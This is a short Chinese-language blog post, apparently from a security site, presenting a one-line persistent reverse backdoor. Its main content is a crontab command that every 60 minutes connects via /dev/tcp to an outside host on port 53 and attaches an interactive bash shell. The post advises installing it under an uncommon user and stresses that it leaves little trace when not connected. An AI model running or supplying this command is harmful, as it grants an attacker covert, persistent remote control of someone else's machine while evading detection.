一条命令实现无文件兼容性强的反弹后门

admin 2015年1月25日21:07:58网络安全评论2,151 次浏览阅读模式

最好用一个不常见的用户执行,任务写入/var/spool/cron/$username 

(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -

60分钟反连一次,在未连接状态启动反连任务的时候,进程和端口都无状态 

-bash: connect: Connection refused 
-bash: /dev/tcp/dns.wuyun.org/53: Connection refused 
-bash: 9: Bad file descriptor 
-bash: 9: Bad file descriptor

也就是说,你安装后,如果不连接成功,是很难被发现的。

相关文章
weinxin
我的微信
微信扫一扫
admin
  • 本文由 发表于 2015年1月25日21:07:58
  • 转载请务必保留本文链接:https://anyun.org/a/jishuguanzhu/wangluoanquan/2015/0125/4454.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: